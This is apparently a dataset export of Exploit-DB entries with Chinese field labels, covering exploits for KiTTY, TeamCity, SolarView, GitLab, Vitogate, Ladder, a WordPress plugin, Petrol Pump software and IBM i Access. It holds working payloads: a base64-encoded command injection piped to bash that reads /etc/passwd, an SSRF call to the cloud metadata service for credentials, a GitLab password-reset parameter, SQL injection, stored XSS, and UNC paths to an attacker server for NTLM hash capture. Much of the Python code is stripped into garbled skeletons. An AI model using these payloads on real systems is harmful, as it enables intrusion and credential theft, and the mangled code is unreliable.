QLWD/code_shield huggingface dataset:
标题: KiTTY 0.76.1.13 - Command Injection EDB-ID: 51892 CVE: 2024-23749 类型: LOCAL 平台: WINDOWS 发布日期: 2024-03-14 漏洞利用脚本: # Exploit Title: KiTTY 0.76.1.13 - Command Injection
# Exploit Author: DEFCESCO (Austin A. DeFrancesco)
# Vendor Homepage: https://github.com/cyd01/KiTTY/=
# Software Link: https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip
# Version: ≤ 0.76.1.13
# Tested on: Microsoft Windows 11/10/8/7/XP
# CVE: CVE-2024-23749
#-------------------------------------------------------------------------------------#
# Blog: https://blog.DEFCESCO.io/Hell0+KiTTY
#-------------------------------------------------------------------------------------#
# msf6 payload(cmd/windows/powershell_bind_tcp) > to_handler                             #
# [*] Payload Handler Started as Job 1                                                   #
# msf6 payload(cmd/windows/powershell_bind_tcp) >                                        #
# [*] Started bind TCP handler against 192.168.100.28:4444                               #
# [*] Powershell session session 1 opened (192.168.100.119:36969 -> 192.168.100.28:4444) #


 os
 sys





shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b

escape_sequence  b
escape_sequence  b
escape_sequence  shellcode
escape_sequence  b 

stdout  osfdopensysstdoutfileno  
stdoutwriteescape_sequence
stdoutflush URL: https://www.exploit-db.com/exploits/51892
标题: KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow EDB-ID: 51890 CVE: 2024-25003 类型: LOCAL 平台: WINDOWS 发布日期: 2024-03-14 漏洞利用脚本: # Exploit Title: KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow
# Exploit Author: DEFCESCO (Austin A. DeFrancesco)
# Vendor Homepage: https://github.com/cyd01/KiTTY/=
# Software Link: https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip
# Version: ≤ 0.76.1.13
# Tested on: Microsoft Windows 11/10/8/7/XP
# CVE: 2024-25003
#-------------------------------------------------------------------------------------#
# Blog: https://blog.DEFCESCO.io/Hell0+KiTTY
#-------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) > to_handler                                   #
# [*] Payload Handler Started as Job 1                                                #
# msf6 payload(windows/shell_bind_tcp) >                                              #




 sys
 os
 struct











buf   b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b


 
 sc  b
 sc  b 
 sc  b 
 sc  b             
 sc  b             
 sc  buf
 sc  b  sc
  sc   
  sc


 

 
 rop_gadgets  
 
   
   
   
   
   
   
   
   
   
   
   
 
   
  
 
   
   
 
   
   
 
   
   
 
   
   
 
   
   
   
 
   
 
  bjoinstructpack _  _  rop_gadgets

rop_chain  create_rop_chain










return_address  structpack   

rop_chain_padding  b   
nops  b  

escape_sequence  b  shellcode  return_address
escape_sequence  rop_chain_padding  rop_chain
escape_sequence  b
escape_sequence  b 
escape_sequence  nops  b

stdout  osfdopensysstdoutfileno  
stdoutwriteescape_sequence
stdoutflush URL: https://www.exploit-db.com/exploits/51890
标题: KiTTY 0.76.1.13 - 'Start Duplicated Session Username' Buffer Overflow EDB-ID: 51891 CVE: 2024-25004 类型: LOCAL 平台: WINDOWS 发布日期: 2024-03-14 漏洞利用脚本: # Exploit Title: KiTTY 0.76.1.13 - 'Start Duplicated Session Username' Buffer Overflow
# Exploit Author: DEFCESCO (Austin A. DeFrancesco)
# Vendor Homepage: https://github.com/cyd01/KiTTY/=
# Software Link: https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip
# Version: ≤ 0.76.1.13
# Tested on: Microsoft Windows 11/10/8/7/XP
# CVE: CVE-2024-25004
#-------------------------------------------------------------------------------------#
# Blog: https://blog.DEFCESCO.io/Hell0+KiTTY
#-------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) > to_handler                                   #
# [*] Payload Handler Started as Job 1                                                #
# msf6 payload(windows/shell_bind_tcp) >                                              #




 sys
 os
 struct











buf   b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b


 
 sc  b 
 sc  b 
 sc  b 
 sc  b             
 sc  b             
 sc  buf
 sc  b  sc
  sc   
  sc


 
 
 rop_gadgets  
 
   
   
   
   
   
   
   
   
   
   
   
 
   
   
 
   
   
 
   
   
 
   
   
 
   
   
 
   
   
   
 
   
 
  bjoinstructpack _  _  rop_gadgets

rop_chain  create_rop_chain










return_address  structpack   

rop_chain_padding  b  
nops  b  

escape_sequence  b  shellcode  return_address
escape_sequence  rop_chain_padding  rop_chain
escape_sequence  b 
escape_sequence  nops  b

stdout  osfdopensysstdoutfileno  
stdoutwriteescape_sequence
stdoutflush URL: https://www.exploit-db.com/exploits/51891
标题: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) EDB-ID: 51885 CVE: 2023-3710 类型: REMOTE 平台: HARDWARE 发布日期: 2024-03-14 漏洞利用脚本: #- Exploit Title: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:PM43 , PM43
#- Exploit Author: ByteHunter
#- Email: 0xByteHunter@proton.me
#- Frimware Version: versions prior to P10.19.050004
#- Tested on: P10.17.019667
#- CVE : CVE-2023-3710


import requests
import argparse

BLUE = '\033[94m'
YELLOW = '\033[93m'
RESET  

 
    banner  
    YELLOW  banner  RESET


 url command
    full_url  f
    payload  
         f
         
    
    
        response  requestspostfull_url datapayload verify
        response_text  responsetext
        html_start_index  response_textfind
         html_start_index  
             response_texthtml_start_index
        
             response_text  
     requestsexceptionsRequestException  e
         f

 
    parser  argparseArgumentParserdescription
    parseradd_argument dest  required
    parseradd_argument dest  required

    args  parserparse_args

    response  run_commandargsurl argscommand
    f

 __name__  
    banner
    main URL: https://www.exploit-db.com/exploits/51885
标题: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) EDB-ID: 51884 CVE: 2023-42793 类型: REMOTE 平台: JAVA 发布日期: 2024-03-14 漏洞利用脚本: #- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648
#- Exploit Author: ByteHunter
#- Vendor: JetBrains
#- Email: 0xByteHunter@proton.me
#- vendor: JetBrains
#- Version: versions before 2023.05.4
#- Tested on: 2023.05.3                      
#- CVE : CVE-2023-42793 

import requests
import argparse
import re
import random
 string
 subprocess  


banner  

banner
parser  argparseArgumentParserdescription
parseradd_argument  required 
parseradd_argument  action 
args  parserparse_args

url  argsurl

 urlstartswith
    curl_command  

    curl_command  

get_token_url  f
delete_token_url  f
create_user_url  f

create_user_command  
token  

response  requestspostget_token_url verify
 responsestatus_code  
    match  researchr responsetext
     match
        token  matchgroup
        f 
    
        

 responsestatus_code  
    
    delete_command  f
    delete_process  subprocessPopendelete_command shell stdoutsubprocessPIPE stderrsubprocessPIPE
    delete_processwait
    delete_output  delete_processcommunicate
     delete_processreturncode  
        
    
        
 responsestatus_code  
    
    delete_command  f
    delete_process  subprocessPopendelete_command shell stdoutsubprocessPIPE stderrsubprocessPIPE
    delete_processwait
    delete_output  delete_processcommunicate
     delete_processreturncode  
        
    
        

    

 token
    headers  
         f
         
    
    random_chars  joinrandomchoicestringascii_letters  stringdigits  _  
    username  f
    data  
         username
         
         
             
    
    create_user_command  f
    create_user_response  requestspostcreate_user_url headersheaders jsondata
     create_user_responsestatus_code  
        
        f
        f
        
    
        

 argsverbose
     responsestatus_code  
        
    
        f URL: https://www.exploit-db.com/exploits/51884
标题: SolarView Compact 6.00 - Command Injection EDB-ID: 51886 CVE: 2023-23333 类型: REMOTE 平台: HARDWARE 发布日期: 2024-03-14 漏洞利用脚本: #- Exploit Title: SolarView Compact 6.00 - Command Injection
#- Shodan Dork: http.html:"solarview compact"
#- Exploit Author: ByteHunter
#- Email: 0xByteHunter@proton.me
#- Version: 6.00
#- Tested on: 6.00
#- CVE : CVE-2023-23333


import argparse
import requests

def vuln_check(ip_address, port):
    url = f"http://{ip_address}:{port}/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg%3D%3D|base64%20-d|bash%00.zip"
    response = requests.get(url)
     responsestatus_code  
        output  responsetext
           output
            
            f


        
            
    
        

 
    parser  argparseArgumentParserdescription
    parseradd_argument   required
    parseradd_argument   default 
    args  parserparse_args
    
    ip_address  argsip
    port  argsport
    vuln_checkip_address port

 __name__  
    main URL: https://www.exploit-db.com/exploits/51886
标题: GitLab CE/EE < 16.7.2 - Password Reset EDB-ID: 51889 CVE: 2023-7028 类型: REMOTE 平台: JAVA 发布日期: 2024-03-14 漏洞利用脚本: # Exploit Title: GitLab CE/EE < 16.7.2 - Password Reset
# Exploit Author: Sebastian Kriesten (0xB455)
# Twitter: https://twitter.com/0xB455

# Date: 2024-01-12
# Vendor Homepage: gitlab.com
# Vulnerability disclosure: https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
# Version: <16.7.2, <16.6.4, <16.5.6
# CVE: CVE-2023-7028

Proof of Concept:
user[email][]=valid@email.com&user[email][]=attacker@email.com URL: https://www.exploit-db.com/exploits/51889
标题: Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE) EDB-ID: 51887 CVE: 2023-5702 2023-5222 类型: REMOTE 平台: HARDWARE 发布日期: 2024-03-14 漏洞利用脚本: #- Exploit Title: Viessmann Vitogate 300 <= 2.1.3.0 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:'Vitogate 300'
#- Exploit Author: ByteHunter
#- Email: 0xByteHunter@proton.me
#- Version: versions up to 2.1.3.0
#- Tested on: 2.1.1.0
#- CVE : CVE-2023-5702 & CVE-2023-5222


import argparse
import requests

def banner():
    banner = """
    ╔═══════════════════════════════════╗
             CVE-2023-5702   
           Vitogate 300 RCE
           Author: ByteHunter      
    ╚═══════════════════════════════════╝
    """

    banner


 target_ip command target_port
    payload  
         
         
         
         
             f
        
    

    headers  
         target_ip
         payload
         
    

    url  f


    response  requestsposturl jsonpayload headersheaders

     responsestatus_code  
        
        responsetext
    
        f

 
    parser  argparseArgumentParserdescription
    parseradd_argument required 
    parseradd_argument required default
    parseradd_argument required 
    parseradd_argument action 

    args  parserparse_args

     argscreds
        
        
        
    
        target_ip  argstarget
        target_port  argsport
        command  argscommand

          target_ip  command
            
            

        send_post_requesttarget_ip commandtarget_port

 __name__  
    banner
    main URL: https://www.exploit-db.com/exploits/51887
标题: Ladder v0.0.21 - Server-side request forgery (SSRF) EDB-ID: 51869 CVE: 2024-27620 类型: WEBAPPS 平台: GO 发布日期: 2024-03-10 漏洞利用脚本: # Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF)
# Date: 2024-01-20
# Exploit Author: @_chebuya
# Software Link: https://github.com/everywall/ladder
# Version: v0.0.1 - v0.0.21
# Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0)
# CVE: CVE-2024-27620
# Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context.  An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs

import requests
import json

target_url = "http://127.0.0.1:8080/api/"
imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"

r = requests.get(target_url + imdsv1_url)
response_json = json.loads(r.text)
print(response_json["body"]) URL: https://www.exploit-db.com/exploits/51869
标题: Hide My WP < 6.2.9 - Unauthenticated SQLi EDB-ID: 51871 CVE: 2022-4681 类型: WEBAPPS 平台: PHP 发布日期: 2024-03-10 漏洞利用脚本: # Exploit Title: Wordpress Plugin Hide My WP < 6.2.9 - Unauthenticated SQLi 
# Publication Date: 2023-01-11
# Original Researcher: Xenofon Vassilakopoulos
# Exploit Author: Xenofon Vassilakopoulos
# Submitter: Xenofon Vassilakopoulos
# Vendor Homepage: https://wpwave.com/
# Version: Hide My WP v6.2.8 and prior
# Tested on: Hide My WP v6.2.7
# Impact: Database Access
# CVE: CVE-2022-4681
# CWE: CWE-89
# CVSS Score: 8.6 (high)

## Description

The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.


## Proof of Concept

curl -k --location --request GET "http://localhost:10008" --header "X-Forwarded-For: 127.0.0.1'+(select*from(select(sleep(20)))a)+'" URL: https://www.exploit-db.com/exploits/51871
标题: Petrol Pump Management Software v.1.0 - SQL Injection EDB-ID: 51838 CVE: 2024-27746 类型: REMOTE 平台: PHP 发布日期: 2024-03-03 漏洞利用脚本: # Exploit Title: Petrol Pump Management Software v.1.0 - SQL Injection
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27746
# Description: SQL Injection vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the email address parameter in the index.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with username: test@test.com';SELECT SLEEP(10)# and
Password=test
3. Page will load for 10 seconds because of time-based sql injection
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27746.md URL: https://www.exploit-db.com/exploits/51838
标题: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload EDB-ID: 51839 CVE: 2024-27747 类型: REMOTE 平台: PHP 发布日期: 2024-03-03 漏洞利用脚本: # Exploit Title: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload 
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27747
# Description: File Upload vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the email Image parameter in the profile.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/profile.php"
4. Upload the phpinfo.php file in "Image" field
5. Phpinfo will be present in "
http://localhost/fuelflow/assets/images/phpinfo.php" page
6. The content of phpinfo.php file is given below:
<?php phpinfo();?>
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27747.md URL: https://www.exploit-db.com/exploits/51839
标题: Petrol Pump Management Software v1.0 - 'Address' Stored Cross Site Scripting EDB-ID: 51836 CVE: 2024-27743 类型: REMOTE 平台: PHP 发布日期: 2024-03-03 漏洞利用脚本: # Exploit Title: Petrol Pump Management Software v1.0 - 'Address' Stored Cross Site Scripting
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27743
# Description: Cross Site Scripting vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the Address parameter in the add_invoices.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/add_invoices.php"
4. Fill the payload "<script>alert(0)</script>" in "Address" field
5. Stored XSS will be present in "
http://localhost/fuelflow/admin/manage_invoices.php" page
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27743.md URL: https://www.exploit-db.com/exploits/51836
标题: Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file EDB-ID: 51837 CVE: 2024-27744 类型: REMOTE 平台: PHP 发布日期: 2024-03-03 漏洞利用脚本: # Exploit Title: Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file 
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27744
# Description: Cross Site Scripting vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the image parameter in the profile.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/profile.php"
4. Upload the xss.svg file in "Image" field
5. Stored XSS will be present in "
http://localhost/fuelflow/assets/images/xss.svg" page
6. The content of the xss.svg file is given below:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS by Shubham Pandey");
  </script>
</svg>
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27744.md URL: https://www.exploit-db.com/exploits/51837
标题: IBM i Access Client Solutions v1.1.2 - 1.1.4, v1.1.4.3 - 1.1.9.4 - Remote Credential Theft EDB-ID: 51817 CVE: 2024-22318 类型: REMOTE 平台: WINDOWS_X86-64 发布日期: 2024-02-26 漏洞利用脚本: [+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/IBMI_ACCESS_CLIENT_REMOTE_CREDENTIAL_THEFT_CVE-2024-22318.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     

[Vendor]
www.ibm.com

[Product]
IBM i Access Client Solutions

[Versions]
All

[Remediation/Fixes]
None

[Vulnerability Type]
Remote Credential Theft

[CVE Reference]
CVE-2024-22318


[Security Issue]
IBM i Access Client Solutions (ACS) is vulnerable to remote credential theft when NT LAN Manager (NTLM) is enabled on Windows workstations.
Attackers can create UNC capable paths within ACS 5250 display terminal configuration ".HOD" or ".WS" files to point to a hostile server.
If NTLM is enabled and the user opens an attacker supplied file the Windows operating system will try to authenticate using the current user's session.
The attacker controlled server could then capture the NTLM hash information to obtain the user's credentials.


[References]
https://www.ibm.com/support/pages/node/7116091


[Exploit/POC]
The client access .HOD File vulnerable parameters:

1) screenHistoryArchiveLocation=\\ATTACKER-SERVER\RemoteCredTheftP0c

[KeyRemapFile]
2) Filename= \\ATTACKER-SERVER\RemoteCredTheftP0c

Next, Kali Linux Responder.py to capture: Responder.py -I eth0 -A -vv

The client access legacy .WS File vulnerable parameters:
DefaultKeyboard= \\ATTACKER-SERVER\RemoteCredTheftP0c

Example, client access older .WS file

[Profile]
ID=WS
Version=9
[Telnet5250]
AssociatedPrinterStartMinimized=N
AssociatedPrinterTimeout=0
SSLClientAuthentication=Y
HostName=PWN
AssociatedPrinterClose=N
Security=CA400
CertSelection=AUTOSELECT
AutoReconnect=Y
[KeepAlive]
KeepAliveTimeOut=0
[Keyboard]
IBMDefaultKeyboard=N
DefaultKeyboard=\\ATTACKER-SERVER\RemoteCredTheftP0c
[Communication]
Link=telnet5250


[Network Access]
Remote


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification:  December 14, 2023
Vendor Addresses Issue: February 7, 2024
February 8, 2024 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/51817